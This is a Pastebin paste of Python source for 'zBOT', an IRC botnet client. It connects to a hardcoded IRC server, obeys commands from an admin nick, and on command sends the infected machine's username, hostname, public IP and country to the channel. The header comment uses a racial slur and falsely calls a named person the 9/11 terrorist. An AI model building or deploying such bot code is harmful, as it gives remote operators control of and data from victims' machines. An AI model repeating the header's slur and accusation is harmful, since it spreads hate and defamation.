Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NOTE: This source has been modified for dolphin, aka denzel "sandnigger" foxx, the terrorist who was responsible for the 9/11 attacks. windows functions stripped for linux use.
- # zBOT IRC Bot
- # Version 1.0.0
- # Coded by InvisibleMan in Python 2.7
- # Download : http://sourceforge.net/projects/zbotirc/
- # File : zbot.py
- #IMPORTS
- import os
- import random
- import socket
- import string
- import sys
- import time
- import urllib2
- #VERSION CHECK
- if sys.version_info < (2, 7, 0):
- sys.exit()
- #CONFIG
- admin = 'dolphin' #Admin IRC Nick.
- ircs = 'irc.grovenation.net' #IRC Server.
- ircp = 6667 #IRC Port.
- ircc = '#grove' #IRC Channel.
- ircs_backup = 'irc.backup-server.com' #Backup IRC Server.
- ircp_backup = 6667 #Backup IRC Port.
- ircc_backup = '#backup-channel' #Backup IRC Channel.
- version = '1.0.0' #zBOT Version.
- #GLOBALS
- attempt = 1
- irc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connected = False
- #COUNTRY
- def getCountry():
- if getIP() == 'Unknown IP':
- return 'Unknown Country'
- else:
- try:
- url = urllib2.urlopen('http://api.wipmania.com/' + getIP())
- country = url.read()
- return country
- except:
- return 'Unknown Country'
- #IP ADDRESS
- def getIP():
- try:
- url = urllib2.urlopen('http://automation.whatismyip.com/n09230945.asp')
- ip = url.read()
- return ip
- except:
- return 'Unknown IP'
- #RANDOM KEY
- def getKey(length):
- length = int(length)
- charSet = string.digits + string.digits
- randomChar = ''.join(random.sample(charSet,length))
- return randomChar
- #RANDOM STRING
- def getRandom(length):
- length = int(length)
- charSet = string.ascii_lowercase + string.ascii_uppercase + string.digits
- randomChar = ''.join(random.sample(charSet,length))
- return randomChar
- #CONNECT
- def irc_connect(server, port, channel, nick):
- global irc
- irc.connect((server, port))
- time.sleep(3)
- irc_raw('NICK ' + nick)
- time.sleep(3)
- irc_raw('USER ' + nick + ' h h :h')
- time.sleep(3)
- irc_join(channel)
- #DISCONNECT
- def irc_disconnect():
- global irc
- irc_raw('QUIT')
- #JOIN
- def irc_join(channel):
- global irc
- irc_raw('JOIN ' + channel)
- #MESSAGE
- def irc_msg(msg):
- global ircc
- global irc
- irc_raw('PRIVMSG ' + ircc + ' : ' + msg)
- #PART
- def irc_part(channel):
- global irc
- irc_raw('PART ' + channel)
- #RAW
- def irc_raw(msg):
- global irc
- irc.send(msg + '\r\n')
- #SETUP
- key = getKey(4)
- nick = '[zBOT]' + key
- #IRC CONNECT
- while connected == False:
- if not attempt == 5:
- try:
- try:
- irc_connect(ircs, ircp, ircc, nick)
- connected = True
- ircc = ircc
- except:
- irc_connect(ircs_backup, ircp_backup, ircc_backup, nick)
- connected = True
- ircc = ircc_backup
- except:
- attempt = attempt + 1
- time.sleep(60)
- elif attempt == 5:
- sys.exit()
- #COMMANDS
- while connected == True:
- data = irc.recv(4096)
- data = data.strip('\n\r')
- split = data.split()
- if data.find('PING') != -1:
- irc_raw('PONG ' + split[1])
- if data.find('QUIT') != -1 and data.find(admin) != -1:
- lock = True
- if data.find('PART') != -1 and data.find(admin) != -1:
- lock = True
- if data.find ('PRIVMSG') != -1:
- nick = data.split('!')[0].replace(':', '', 1)
- host = data.split('@')[1].split(' ')[0]
- msg = ''.join(data.split(':', 2)[2:]).replace('\r\n', '')
- auto_lock = 0
- if nick == admin:
- if msg == '.info':
- username = os.environ.get('USERNAME')
- hostname = os.environ.get('COMPUTERNAME')
- irc_msg('[INFO] - Version ' + version + ' - ' + username.lower() + '@' + hostname.lower() + ' - ' + getIP() + ' - ' + getCountry())
- elif msg == '.kill ' + key:
- sys.exit()
- elif msg == '.nuke':
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment